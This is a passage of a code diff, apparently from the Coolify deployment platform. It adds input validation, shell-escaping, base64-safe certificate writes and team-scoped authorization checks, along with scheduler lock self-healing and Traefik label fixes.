$build_command = $this->wrap_build_command_with_env_export("docker build {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t {$this->production_image_name} {$this->workdir}");
|
||||
}
|
||||
}
|
||||
$base64_build_command = base64_encode($build_command);
|
||||
|
|
@ -3332,7 +3371,7 @@ COPY ./nginx.conf /etc/nginx/conf.d/default.conf");
|
|||
$this->analyzeBuildTimeVariables($variables);
|
||||
}
|
||||
|
||||
if ($this->dockerBuildkitSupported && $this->application->settings->use_build_secrets) {
|
||||
if ($this->dockerSecretsSupported) {
|
||||
$this->generate_build_secrets($variables);
|
||||
$this->build_args = '';
|
||||
} else {
|
||||
|
|
@ -3819,7 +3858,7 @@ COPY ./nginx.conf /etc/nginx/conf.d/default.conf");
|
|||
$this->application_deployment_queue->addLogEntry("Service {$serviceName}: All required ARG declarations already exist.");
|
||||
}
|
||||
|
||||
if ($this->application->settings->use_build_secrets && $this->dockerBuildkitSupported && ! empty($this->build_secrets)) {
|
||||
if ($this->dockerSecretsSupported && ! empty($this->build_secrets)) {
|
||||
$fullDockerfilePath = "{$this->workdir}/{$dockerfilePath}";
|
||||
$this->modify_dockerfile_for_secrets($fullDockerfilePath);
|
||||
$this->application_deployment_queue->addLogEntry("Modified Dockerfile for service {$serviceName} to use build secrets.");
|
||||
|
|
@ -3879,6 +3918,18 @@ COPY ./nginx.conf /etc/nginx/conf.d/default.conf");
|
|||
return $composeFile;
|
||||
}
|
||||
|
||||
private function validatePathField(string $value, string $fieldName): string
|
||||
{
|
||||
if (! preg_match('/^\/[a-zA-Z0-9._\-\/]+$/', $value)) {
|
||||
throw new \RuntimeException("Invalid {$fieldName}: contains forbidden characters.");
|
||||
}
|
||||
if (str_contains($value, '..')) {
|
||||
throw new \RuntimeException("Invalid {$fieldName}: path traversal detected.");
|
||||
}
|
||||
|
||||
return $value;
|
||||
}
|
||||
|
||||
private function run_pre_deployment_command()
|
||||
{
|
||||
if (empty($this->application->pre_deployment_command)) {
|
||||
|
|
|
|||
|
|
@ -15,7 +15,9 @@ use Illuminate\Queue\Middleware\WithoutOverlapping;
|
|||
use Illuminate\Queue\SerializesModels;
|
||||
use Illuminate\Support\Carbon;
|
||||
use Illuminate\Support\Collection;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Illuminate\Support\Facades\Redis;
|
||||
|
||||
class ScheduledJobManager implements ShouldQueue
|
||||
{
|
||||
|
|
@ -54,6 +56,11 @@ class ScheduledJobManager implements ShouldQueue
|
|||
*/
|
||||
public function middleware(): array
|
||||
{
|
||||
// Self-healing: clear any stale lock before WithoutOverlapping tries to acquire it.
|
||||
// Stale locks (TTL = -1) can occur during upgrades, Redis restarts, or edge cases.
|
||||
// @see https://github.com/coollabsio/coolify/issues/8327
|
||||
self::clearStaleLockIfPresent();
|
||||
|
||||
return [
|
||||
(new WithoutOverlapping('scheduled-job-manager'))
|
||||
->expireAfter(90) // Lock expires after 90s to handle high-load environments with many tasks
|
||||
|
|
@ -61,6 +68,34 @@ class ScheduledJobManager implements ShouldQueue
|
|||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Clear a stale WithoutOverlapping lock if it has no TTL (TTL = -1).
|
||||
*
|
||||
* This provides continuous self-healing since it runs every time the job is dispatched.
|
||||
* Stale locks permanently block all scheduled job executions with no user-visible error.
|
||||
*/
|
||||
private static function clearStaleLockIfPresent(): void
|
||||
{
|
||||
try {
|
||||
$cachePrefix = config('cache.prefix', '');
|
||||
$lockKey = $cachePrefix.'laravel-queue-overlap:'.self::class.':scheduled-job-manager';
|
||||
|
||||
$ttl = Redis::connection('default')->ttl($lockKey);
|
||||
|
||||
if ($ttl === -1) {
|
||||
Redis::connection('default')->del($lockKey);
|
||||
Log::channel('scheduled')->warning('Cleared stale ScheduledJobManager lock', [
|
||||
'lock_key' => $lockKey,
|
||||
]);
|
||||
}
|
||||
} catch (\Throwable $e) {
|
||||
// Never let lock cleanup failure prevent the job from running
|
||||
Log::channel('scheduled-errors')->error('Failed to check/clear stale lock', [
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
public function handle(): void
|
||||
{
|
||||
// Freeze the execution time at the start of the job
|
||||
|
|
@ -104,10 +139,17 @@ class ScheduledJobManager implements ShouldQueue
|
|||
|
||||
Log::channel('scheduled')->info('ScheduledJobManager completed', [
|
||||
'execution_time' => $this->executionTime->toIso8601String(),
|
||||
'duration_ms' => Carbon::now()->diffInMilliseconds($this->executionTime),
|
||||
'duration_ms' => $this->executionTime->diffInMilliseconds(Carbon::now()),
|
||||
'dispatched' => $this->dispatchedCount,
|
||||
'skipped' => $this->skippedCount,
|
||||
]);
|
||||
|
||||
// Write heartbeat so the UI can detect when the scheduler has stopped
|
||||
try {
|
||||
Cache::put('scheduled-job-manager:heartbeat', now()->toIso8601String(), 300);
|
||||
} catch (\Throwable) {
|
||||
// Non-critical; don't let heartbeat failure affect the job
|
||||
}
|
||||
}
|
||||
|
||||
private function processScheduledBackups(): void
|
||||
|
|
|
|||
|
|
@ -73,7 +73,7 @@ class General extends Component
|
|||
#[Validate(['string', 'nullable'])]
|
||||
public ?string $dockerfile = null;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
#[Validate(['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'])]
|
||||
public ?string $dockerfileLocation = null;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
|
|
@ -85,7 +85,7 @@ class General extends Component
|
|||
#[Validate(['string', 'nullable'])]
|
||||
public ?string $dockerRegistryImageTag = null;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
#[Validate(['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'])]
|
||||
public ?string $dockerComposeLocation = null;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
|
|
|
|||
|
|
@ -163,10 +163,12 @@ class GithubPrivateRepository extends Component
|
|||
'selected_repository_owner' => $this->selected_repository_owner,
|
||||
'selected_repository_repo' => $this->selected_repository_repo,
|
||||
'selected_branch_name' => $this->selected_branch_name,
|
||||
'docker_compose_location' => $this->docker_compose_location,
|
||||
], [
|
||||
'selected_repository_owner' => 'required|string|regex:/^[a-zA-Z0-9\-_]+$/',
|
||||
'selected_repository_repo' => 'required|string|regex:/^[a-zA-Z0-9\-_\.]+$/',
|
||||
'selected_branch_name' => ['required', 'string', new ValidGitBranch],
|
||||
'docker_compose_location' => ['nullable', 'string', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'],
|
||||
]);
|
||||
|
||||
if ($validator->fails()) {
|
||||
|
|
|
|||
|
|
@ -64,6 +64,7 @@ class GithubPrivateRepositoryDeployKey extends Component
|
|||
'is_static' => 'required|boolean',
|
||||
'publish_directory' => 'nullable|string',
|
||||
'build_pack' => 'required|string',
|
||||
'docker_compose_location' => ['nullable', 'string', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'],
|
||||
];
|
||||
|
||||
protected function rules()
|
||||
|
|
@ -75,6 +76,7 @@ class GithubPrivateRepositoryDeployKey extends Component
|
|||
'is_static' => 'required|boolean',
|
||||
'publish_directory' => 'nullable|string',
|
||||
'build_pack' => 'required|string',
|
||||
'docker_compose_location' => ['nullable', 'string', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'],
|
||||
];
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -70,7 +70,7 @@ class PublicGitRepository extends Component
|
|||
'publish_directory' => 'nullable|string',
|
||||
'build_pack' => 'required|string',
|
||||
'base_directory' => 'nullable|string',
|
||||
'docker_compose_location' => 'nullable|string',
|
||||
'docker_compose_location' => ['nullable', 'string', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'],
|
||||
];
|
||||
|
||||
protected function rules()
|
||||
|
|
@ -82,7 +82,7 @@ class PublicGitRepository extends Component
|
|||
'publish_directory' => 'nullable|string',
|
||||
'build_pack' => 'required|string',
|
||||
'base_directory' => 'nullable|string',
|
||||
'docker_compose_location' => 'nullable|string',
|
||||
'docker_compose_location' => ['nullable', 'string', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'],
|
||||
'git_branch' => ['required', 'string', new ValidGitBranch],
|
||||
];
|
||||
}
|
||||
|
|
|
|||
|
|
@ -16,19 +16,25 @@ class HealthChecks extends Component
|
|||
#[Validate(['boolean'])]
|
||||
public bool $healthCheckEnabled = false;
|
||||
|
||||
#[Validate(['string'])]
|
||||
#[Validate(['string', 'in:http,cmd'])]
|
||||
public string $healthCheckType = 'http';
|
||||
|
||||
#[Validate(['nullable', 'required_if:healthCheckType,cmd', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'])]
|
||||
public ?string $healthCheckCommand = null;
|
||||
|
||||
#[Validate(['required', 'string', 'in:GET,HEAD,POST,OPTIONS'])]
|
||||
public string $healthCheckMethod;
|
||||
|
||||
#[Validate(['string'])]
|
||||
#[Validate(['required', 'string', 'in:http,https'])]
|
||||
public string $healthCheckScheme;
|
||||
|
||||
#[Validate(['string'])]
|
||||
#[Validate(['required', 'string', 'regex:/^[a-zA-Z0-9.\-_]+$/'])]
|
||||
public string $healthCheckHost;
|
||||
|
||||
#[Validate(['nullable', 'string'])]
|
||||
#[Validate(['nullable', 'integer', 'min:1', 'max:65535'])]
|
||||
public ?string $healthCheckPort = null;
|
||||
|
||||
#[Validate(['string'])]
|
||||
#[Validate(['required', 'string', 'regex:#^[a-zA-Z0-9/\-_.~%]+$#'])]
|
||||
public string $healthCheckPath;
|
||||
|
||||
#[Validate(['integer'])]
|
||||
|
|
@ -54,12 +60,14 @@ class HealthChecks extends Component
|
|||
|
||||
protected $rules = [
|
||||
'healthCheckEnabled' => 'boolean',
|
||||
'healthCheckPath' => 'string',
|
||||
'healthCheckPort' => 'nullable|string',
|
||||
'healthCheckHost' => 'string',
|
||||
'healthCheckMethod' => 'string',
|
||||
'healthCheckType' => 'string|in:http,cmd',
|
||||
'healthCheckCommand' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'],
|
||||
'healthCheckPath' => ['required', 'string', 'regex:#^[a-zA-Z0-9/\-_.~%]+$#'],
|
||||
'healthCheckPort' => 'nullable|integer|min:1|max:65535',
|
||||
'healthCheckHost' => ['required', 'string', 'regex:/^[a-zA-Z0-9.\-_]+$/'],
|
||||
'healthCheckMethod' => 'required|string|in:GET,HEAD,POST,OPTIONS',
|
||||
'healthCheckReturnCode' => 'integer',
|
||||
'healthCheckScheme' => 'string',
|
||||
'healthCheckScheme' => 'required|string|in:http,https',
|
||||
'healthCheckResponseText' => 'nullable|string',
|
||||
'healthCheckInterval' => 'integer|min:1',
|
||||
'healthCheckTimeout' => 'integer|min:1',
|
||||
|
|
@ -81,6 +89,8 @@ class HealthChecks extends Component
|
|||
|
||||
// Sync to model
|
||||
$this->resource->health_check_enabled = $this->healthCheckEnabled;
|
||||
$this->resource->health_check_type = $this->healthCheckType;
|
||||
$this->resource->health_check_command = $this->healthCheckCommand;
|
||||
$this->resource->health_check_method = $this->healthCheckMethod;
|
||||
$this->resource->health_check_scheme = $this->healthCheckScheme;
|
||||
$this->resource->health_check_host = $this->healthCheckHost;
|
||||
|
|
@ -98,6 +108,8 @@ class HealthChecks extends Component
|
|||
} else {
|
||||
// Sync from model
|
||||
$this->healthCheckEnabled = $this->resource->health_check_enabled;
|
||||
$this->healthCheckType = $this->resource->health_check_type ?? 'http';
|
||||
$this->healthCheckCommand = $this->resource->health_check_command;
|
||||
$this->healthCheckMethod = $this->resource->health_check_method;
|
||||
$this->healthCheckScheme = $this->resource->health_check_scheme;
|
||||
$this->healthCheckHost = $this->resource->health_check_host;
|
||||
|
|
@ -116,9 +128,12 @@ class HealthChecks extends Component
|
|||
public function instantSave()
|
||||
{
|
||||
$this->authorize('update', $this->resource);
|
||||
$this->validate();
|
||||
|
||||
// Sync component properties to model
|
||||
$this->resource->health_check_enabled = $this->healthCheckEnabled;
|
||||
$this->resource->health_check_type = $this->healthCheckType;
|
||||
$this->resource->health_check_command = $this->healthCheckCommand;
|
||||
$this->resource->health_check_method = $this->healthCheckMethod;
|
||||
$this->resource->health_check_scheme = $this->healthCheckScheme;
|
||||
$this->resource->health_check_host = $this->healthCheckHost;
|
||||
|
|
@ -143,6 +158,8 @@ class HealthChecks extends Component
|
|||
|
||||
// Sync component properties to model
|
||||
$this->resource->health_check_enabled = $this->healthCheckEnabled;
|
||||
$this->resource->health_check_type = $this->healthCheckType;
|
||||
$this->resource->health_check_command = $this->healthCheckCommand;
|
||||
$this->resource->health_check_method = $this->healthCheckMethod;
|
||||
$this->resource->health_check_scheme = $this->healthCheckScheme;
|
||||
$this->resource->health_check_host = $this->healthCheckHost;
|
||||
|
|
@ -171,6 +188,8 @@ class HealthChecks extends Component
|
|||
|
||||
// Sync component properties to model
|
||||
$this->resource->health_check_enabled = $this->healthCheckEnabled;
|
||||
$this->resource->health_check_type = $this->healthCheckType;
|
||||
$this->resource->health_check_command = $this->healthCheckCommand;
|
||||
$this->resource->health_check_method = $this->healthCheckMethod;
|
||||
$this->resource->health_check_scheme = $this->healthCheckScheme;
|
||||
$this->resource->health_check_host = $this->healthCheckHost;
|
||||
|
|
|
|||
|
|
@ -49,9 +49,10 @@ class ResourceOperations extends Component
|
|||
{
|
||||
$this->authorize('update', $this->resource);
|
||||
|
||||
$new_destination = StandaloneDocker::find($destination_id);
|
||||
$teamScope = fn ($q) => $q->where('team_id', currentTeam()->id);
|
||||
$new_destination = StandaloneDocker::whereHas('server', $teamScope)->find($destination_id);
|
||||
if (! $new_destination) {
|
||||
$new_destination = SwarmDocker::find($destination_id);
|
||||
$new_destination = SwarmDocker::whereHas('server', $teamScope)->find($destination_id);
|
||||
}
|
||||
if (! $new_destination) {
|
||||
return $this->addError('destination_id', 'Destination not found.');
|
||||
|
|
@ -352,7 +353,7 @@ class ResourceOperations extends Component
|
|||
{
|
||||
try {
|
||||
$this->authorize('update', $this->resource);
|
||||
$new_environment = Environment::findOrFail($environment_id);
|
||||
$new_environment = Environment::ownedByCurrentTeam()->findOrFail($environment_id);
|
||||
$this->resource->update([
|
||||
'environment_id' => $environment_id,
|
||||
]);
|
||||
|
|
|
|||
|
|
@ -60,10 +60,16 @@ class Show extends Component
|
|||
throw new \Exception('Certificate content cannot be empty.');
|
||||
}
|
||||
|
||||
if (! openssl_x509_read($this->certificateContent)) {
|
||||
$parsedCert = openssl_x509_read($this->certificateContent);
|
||||
if (! $parsedCert) {
|
||||
throw new \Exception('Invalid certificate format.');
|
||||
}
|
||||
|
||||
if (! openssl_x509_export($parsedCert, $cleanedCertificate)) {
|
||||
throw new \Exception('Failed to process certificate.');
|
||||
}
|
||||
$this->certificateContent = $cleanedCertificate;
|
||||
|
||||
if ($this->caCertificate) {
|
||||
$this->caCertificate->ssl_certificate = $this->certificateContent;
|
||||
$this->caCertificate->save();
|
||||
|
|
@ -114,12 +120,14 @@ class Show extends Component
|
|||
{
|
||||
$caCertPath = config('constants.coolify.base_config_path').'/ssl/';
|
||||
|
||||
$base64Cert = base64_encode($this->certificateContent);
|
||||
|
||||
$commands = collect([
|
||||
"mkdir -p $caCertPath",
|
||||
"chown -R 9999:root $caCertPath",
|
||||
"chmod -R 700 $caCertPath",
|
||||
"rm -rf $caCertPath/coolify-ca.crt",
|
||||
"echo '{$this->certificateContent}' > $caCertPath/coolify-ca.crt",
|
||||
"echo '{$base64Cert}' | base64 -d | tee $caCertPath/coolify-ca.crt > /dev/null",
|
||||
"chmod 644 $caCertPath/coolify-ca.crt",
|
||||
]);
|
||||
|
||||
|
|
|
|||
|
|
@ -3,8 +3,13 @@
|
|||
namespace App\Livewire\Server;
|
||||
|
||||
use App\Jobs\DockerCleanupJob;
|
||||
use App\Models\DockerCleanupExecution;
|
||||
use App\Models\Server;
|
||||
use Cron\CronExpression;
|
||||
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
|
||||
use Illuminate\Support\Carbon;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Livewire\Attributes\Computed;
|
||||
use Livewire\Attributes\Validate;
|
||||
use Livewire\Component;
|
||||
|
||||
|
|
@ -34,6 +39,53 @@ class DockerCleanup extends Component
|
|||
#[Validate('boolean')]
|
||||
public bool $disableApplicationImageRetention = false;
|
||||
|
||||
#[Computed]
|
||||
public function isCleanupStale(): bool
|
||||
{
|
||||
try {
|
||||
$lastExecution = DockerCleanupExecution::where('server_id', $this->server->id)
|
||||
->orderBy('created_at', 'desc')
|
||||
->first();
|
||||
|
||||
if (! $lastExecution) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$frequency = $this->server->settings->docker_cleanup_frequency ?? '0 0 * * *';
|
||||
if (isset(VALID_CRON_STRINGS[$frequency])) {
|
||||
$frequency = VALID_CRON_STRINGS[$frequency];
|
||||
}
|
||||
|
||||
$cron = new CronExpression($frequency);
|
||||
$now = Carbon::now();
|
||||
$nextRun = Carbon::parse($cron->getNextRunDate($now));
|
||||
$afterThat = Carbon::parse($cron->getNextRunDate($nextRun));
|
||||
$intervalMinutes = $nextRun->diffInMinutes($afterThat);
|
||||
|
||||
$threshold = max($intervalMinutes * 2, 10);
|
||||
|
||||
return Carbon::parse($lastExecution->created_at)->diffInMinutes($now) > $threshold;
|
||||
} catch (\Throwable) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
#[Computed]
|
||||
public function lastExecutionTime(): ?string
|
||||
{
|
||||
return DockerCleanupExecution::where('server_id', $this->server->id)
|
||||
->orderBy('created_at', 'desc')
|
||||
->first()
|
||||
?->created_at
|
||||
?->diffForHumans();
|
||||
}
|
||||
|
||||
#[Computed]
|
||||
public function isSchedulerHealthy(): bool
|
||||
{
|
||||
return Cache::get('scheduled-job-manager:heartbeat') !== null;
|
||||
}
|
||||
|
||||
public function mount(string $server_uuid)
|
||||
{
|
||||
try {
|
||||
|
|
|
|||
|
|
@ -61,6 +61,8 @@ use Visus\Cuid2\Cuid2;
|
|||
'health_check_timeout' => ['type' => 'integer', 'description' => 'Health check timeout in seconds.'],
|
||||
'health_check_retries' => ['type' => 'integer', 'description' => 'Health check retries count.'],
|
||||
'health_check_start_period' => ['type' => 'integer', 'description' => 'Health check start period in seconds.'],
|
||||
'health_check_type' => ['type' => 'string', 'description' => 'Health check type: http or cmd.', 'enum' => ['http', 'cmd']],
|
||||
'health_check_command' => ['type' => 'string', 'nullable' => true, 'description' => 'Health check command for CMD type.'],
|
||||
'limits_memory' => ['type' => 'string', 'description' => 'Memory limit.'],
|
||||
'limits_memory_swap' => ['type' => 'string', 'description' => 'Memory swap limit.'],
|
||||
'limits_memory_swappiness' => ['type' => 'integer', 'description' => 'Memory swappiness.'],
|
||||
|
|
@ -990,7 +992,7 @@ class Application extends BaseModel
|
|||
if (isDev() && data_get($this, 'private_key_id') === 0) {
|
||||
return 'deploy_key';
|
||||
}
|
||||
if (data_get($this, 'private_key_id')) {
|
||||
if (! is_null(data_get($this, 'private_key_id'))) {
|
||||
return 'deploy_key';
|
||||
} elseif (data_get($this, 'source')) {
|
||||
return 'source';
|
||||
|
|
@ -1959,16 +1961,6 @@ class Application extends BaseModel
|
|||
}
|
||||
}
|
||||
|
||||
public static function getDomainsByUuid(string $uuid): array
|
||||
{
|
||||
$application = self::where('uuid', $uuid)->first();
|
||||
|
||||
if ($application) {
|
||||
return $application->fqdns;
|
||||
}
|
||||
|
||||
return [];
|
||||
}
|
||||
|
||||
public function getLimits(): array
|
||||
{
|
||||
|
|
|
|||
|
|
@ -237,7 +237,7 @@ class PrivateKey extends BaseModel
|
|||
$testSuccess = $disk->put($testFilename, 'test');
|
||||
|
||||
if (! $testSuccess) {
|
||||
throw new \Exception('SSH keys storage directory is not writable');
|
||||
throw new \Exception('SSH keys storage directory is not writable. Run on the host: sudo chown -R 9999 /data/coolify/ssh && sudo chmod -R 700 /data/coolify/ssh && docker restart coolify');
|
||||
}
|
||||
|
||||
// Clean up test file
|
||||
|
|
|
|||
|
|
@ -1452,12 +1452,14 @@ $schema://$host {
|
|||
$certificateContent = $caCertificate->ssl_certificate;
|
||||
$caCertPath = config('constants.coolify.base_config_path').'/ssl/';
|
||||
|
||||
$base64Cert = base64_encode($certificateContent);
|
||||
|
||||
$commands = collect([
|
||||
"mkdir -p $caCertPath",
|
||||
"chown -R 9999:root $caCertPath",
|
||||
"chmod -R 700 $caCertPath",
|
||||
"rm -rf $caCertPath/coolify-ca.crt",
|
||||
"echo '{$certificateContent}' > $caCertPath/coolify-ca.crt",
|
||||
"echo '{$base64Cert}' | base64 -d | tee $caCertPath/coolify-ca.crt > /dev/null",
|
||||
"chmod 644 $caCertPath/coolify-ca.crt",
|
||||
]);
|
||||
|
||||
|
|
|
|||
|
|
@ -88,7 +88,7 @@ class ServiceApplication extends BaseModel
|
|||
|
||||
public function team()
|
||||
{
|
||||
return data_get($this, 'environment.project.team');
|
||||
return data_get($this, 'service.environment.project.team');
|
||||
}
|
||||
|
||||
public function workdir()
|
||||
|
|
|
|||
|
|
@ -124,7 +124,7 @@ class ServiceDatabase extends BaseModel
|
|||
|
||||
public function team()
|
||||
{
|
||||
return data_get($this, 'environment.project.team');
|
||||
return data_get($this, 'service.environment.project.team');
|
||||
}
|
||||
|
||||
public function workdir()
|
||||
|
|
|
|||
|
|
@ -191,7 +191,8 @@ class Team extends Model implements SendsDiscord, SendsEmail, SendsPushover, Sen
|
|||
$this->getNotificationSettings('discord')?->isEnabled() ||
|
||||
$this->getNotificationSettings('slack')?->isEnabled() ||
|
||||
$this->getNotificationSettings('telegram')?->isEnabled() ||
|
||||
$this->getNotificationSettings('pushover')?->isEnabled();
|
||||
$this->getNotificationSettings('pushover')?->isEnabled() ||
|
||||
$this->getNotificationSettings('webhook')?->isEnabled();
|
||||
}
|
||||
|
||||
public function subscriptionEnded()
|
||||
|
|
|
|||
|
|
@ -37,8 +37,7 @@ class StandaloneDockerPolicy
|
|||
*/
|
||||
public function update(User $user, StandaloneDocker $standaloneDocker): bool
|
||||
{
|
||||
// return $user->isAdmin() && $user->teams->contains('id', $standaloneDocker->server->team_id);
|
||||
return true;
|
||||
return $user->teams->contains('id', $standaloneDocker->server->team_id);
|
||||
}
|
||||
|
||||
/**
|
||||
|
|
@ -46,8 +45,7 @@ class StandaloneDockerPolicy
|
|||
*/
|
||||
public function delete(User $user, StandaloneDocker $standaloneDocker): bool
|
||||
{
|
||||
// return $user->isAdmin() && $user->teams->contains('id', $standaloneDocker->server->team_id);
|
||||
return true;
|
||||
return $user->teams->contains('id', $standaloneDocker->server->team_id);
|
||||
}
|
||||
|
||||
/**
|
||||
|
|
@ -55,8 +53,7 @@ class StandaloneDockerPolicy
|
|||
*/
|
||||
public function restore(User $user, StandaloneDocker $standaloneDocker): bool
|
||||
{
|
||||
// return false;
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
|
|
@ -64,7 +61,6 @@ class StandaloneDockerPolicy
|
|||
*/
|
||||
public function forceDelete(User $user, StandaloneDocker $standaloneDocker): bool
|
||||
{
|
||||
// return false;
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -37,8 +37,7 @@ class SwarmDockerPolicy
|
|||
*/
|
||||
public function update(User $user, SwarmDocker $swarmDocker): bool
|
||||
{
|
||||
// return $user->isAdmin() && $user->teams->contains('id', $swarmDocker->server->team_id);
|
||||
return true;
|
||||
return $user->teams->contains('id', $swarmDocker->server->team_id);
|
||||
}
|
||||
|
||||
/**
|
||||
|
|
@ -46,8 +45,7 @@ class SwarmDockerPolicy
|
|||
*/
|
||||
public function delete(User $user, SwarmDocker $swarmDocker): bool
|
||||
{
|
||||
// return $user->isAdmin() && $user->teams->contains('id', $swarmDocker->server->team_id);
|
||||
return true;
|
||||
return $user->teams->contains('id', $swarmDocker->server->team_id);
|
||||
}
|
||||
|
||||
/**
|
||||
|
|
@ -55,8 +53,7 @@ class SwarmDockerPolicy
|
|||
*/
|
||||
public function restore(User $user, SwarmDocker $swarmDocker): bool
|
||||
{
|
||||
// return false;
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
|
|
@ -64,7 +61,6 @@ class SwarmDockerPolicy
|
|||
*/
|
||||
public function forceDelete(User $user, SwarmDocker $swarmDocker): bool
|
||||
{
|
||||
// return false;
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -104,12 +104,14 @@ function sharedDataApplications()
|
|||
'base_directory' => 'string|nullable',
|
||||
'publish_directory' => 'string|nullable',
|
||||
'health_check_enabled' => 'boolean',
|
||||
'health_check_path' => 'string',
|
||||
'health_check_port' => 'string|nullable',
|
||||
'health_check_host' => 'string',
|
||||
'health_check_method' => 'string',
|
||||
'health_check_type' => 'string|in:http,cmd',
|
||||
'health_check_command' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'],
|
||||
'health_check_path' => ['string', 'regex:#^[a-zA-Z0-9/\-_.~%]+$#'],
|
||||
'health_check_port' => 'integer|nullable|min:1|max:65535',
|
||||
'health_check_host' => ['string', 'regex:/^[a-zA-Z0-9.\-_]+$/'],
|
||||
'health_check_method' => 'string|in:GET,HEAD,POST,OPTIONS',
|
||||
'health_check_return_code' => 'numeric',
|
||||
'health_check_scheme' => 'string',
|
||||
'health_check_scheme' => 'string|in:http,https',
|
||||
'health_check_response_text' => 'string|nullable',
|
||||
'health_check_interval' => 'numeric',
|
||||
'health_check_timeout' => 'numeric',
|
||||
|
|
@ -132,8 +134,8 @@ function sharedDataApplications()
|
|||
'manual_webhook_secret_gitlab' => 'string|nullable',
|
||||
'manual_webhook_secret_bitbucket' => 'string|nullable',
|
||||
'manual_webhook_secret_gitea' => 'string|nullable',
|
||||
'dockerfile_location' => 'string|nullable',
|
||||
'docker_compose_location' => 'string',
|
||||
'dockerfile_location' => ['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'],
|
||||
'docker_compose_location' => ['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'],
|
||||
'docker_compose' => 'string|nullable',
|
||||
'docker_compose_domains' => 'array|nullable',
|
||||
'docker_compose_custom_start_command' => 'string|nullable',
|
||||
|
|
|
|||
|
|
@ -191,6 +191,10 @@ function clone_application(Application $source, $destination, array $overrides =
|
|||
$uuid = $overrides['uuid'] ?? (string) new Cuid2;
|
||||
$server = $destination->server;
|
||||
|
||||
if ($server->team_id !== currentTeam()->id) {
|
||||
throw new \RuntimeException('Destination does not belong to the current team.');
|
||||
}
|
||||
|
||||
// Prepare name and URL
|
||||
$name = $overrides['name'] ?? 'clone-of-'.str($source->name)->limit(20).'-'.$uuid;
|
||||
$applicationSettings = $source->settings;
|
||||
|
|
|
|||
|
|
@ -11,6 +11,16 @@ use Spatie\Url\Url;
|
|||
use Symfony\Component\Yaml\Yaml;
|
||||
use Visus\Cuid2\Cuid2;
|
||||
|
||||
/**
|
||||
* Generate a stable 4-character hash from a service name for uniqueness
|
||||
* This is used to differentiate services like "api.test" and "api-test"
|
||||
* which would otherwise collide when normalized.
|
||||
*/
|
||||
function serviceNameHash(string $serviceName): string
|
||||
{
|
||||
return substr(md5($serviceName), 0, 4);
|
||||
}
|
||||
|
||||
function getCurrentApplicationContainerStatus(Server $server, int $id, ?int $pullRequestId = null, ?bool $includePullrequests = false): Collection
|
||||
{
|
||||
$containers = collect([]);
|
||||
|
|
@ -139,8 +149,9 @@ function checkMinimumDockerEngineVersion($dockerVersion)
|
|||
}
|
||||
function executeInDocker(string $containerId, string $command)
|
||||
{
|
||||
return "docker exec {$containerId} bash -c '{$command}'";
|
||||
// return "docker exec {$this->deployment_uuid} bash -c '{$command} |& tee -a /proc/1/fd/1; [ \$PIPESTATUS -eq 0 ] || exit \$PIPESTATUS'";
|
||||
$escapedCommand = str_replace("'", "'\\''", $command);
|
||||
|
||||
return "docker exec {$containerId} bash -c '{$escapedCommand}'";
|
||||
}
|
||||
|
||||
function getContainerStatus(Server $server, string $container_id, bool $all_data = false, bool $throwError = false)
|
||||
|
|
@ -467,8 +478,13 @@ function fqdnLabelsForTraefik(string $uuid, Collection $domains, bool $is_force_
|
|||
$http_label = "http-{$loop}-{$uuid}";
|
||||
$https_label = "https-{$loop}-{$uuid}";
|
||||
if ($service_name) {
|
||||
$http_label = "http-{$loop}-{$uuid}-{$service_name}";
|
||||
$https_label = "https-{$loop}-{$uuid}-{$service_name}";
|
||||
// Normalize service name for Traefik labels by replacing dots with hyphens
|
||||
// This prevents label parsing issues with service names like "api.test"
|
||||
// Add a 4-char hash to ensure uniqueness for services like "api.test" vs "api-test"
|
||||
$normalized_service_name = str($service_name)->replace('.', '-')->value();
|
||||
$hash = serviceNameHash($service_name);
|
||||
$http_label = "http-{$loop}-{$uuid}-{$normalized_service_name}-{$hash}";
|
||||
$https_label = "https-{$loop}-{$uuid}-{$normalized_service_name}-{$hash}";
|
||||
}
|
||||
if (str($image)->contains('ghost')) {
|
||||
$labels->push("traefik.http.middlewares.redir-ghost-{$uuid}.redirectregex.regex=^{$path}/(.*)");
|
||||
|
|
|
|||
|
|
@ -601,24 +601,27 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
|
|||
if ($resource->build_pack === 'dockercompose') {
|
||||
// Check if a service with this name actually exists
|
||||
$serviceExists = false;
|
||||
$actualServiceName = null;
|
||||
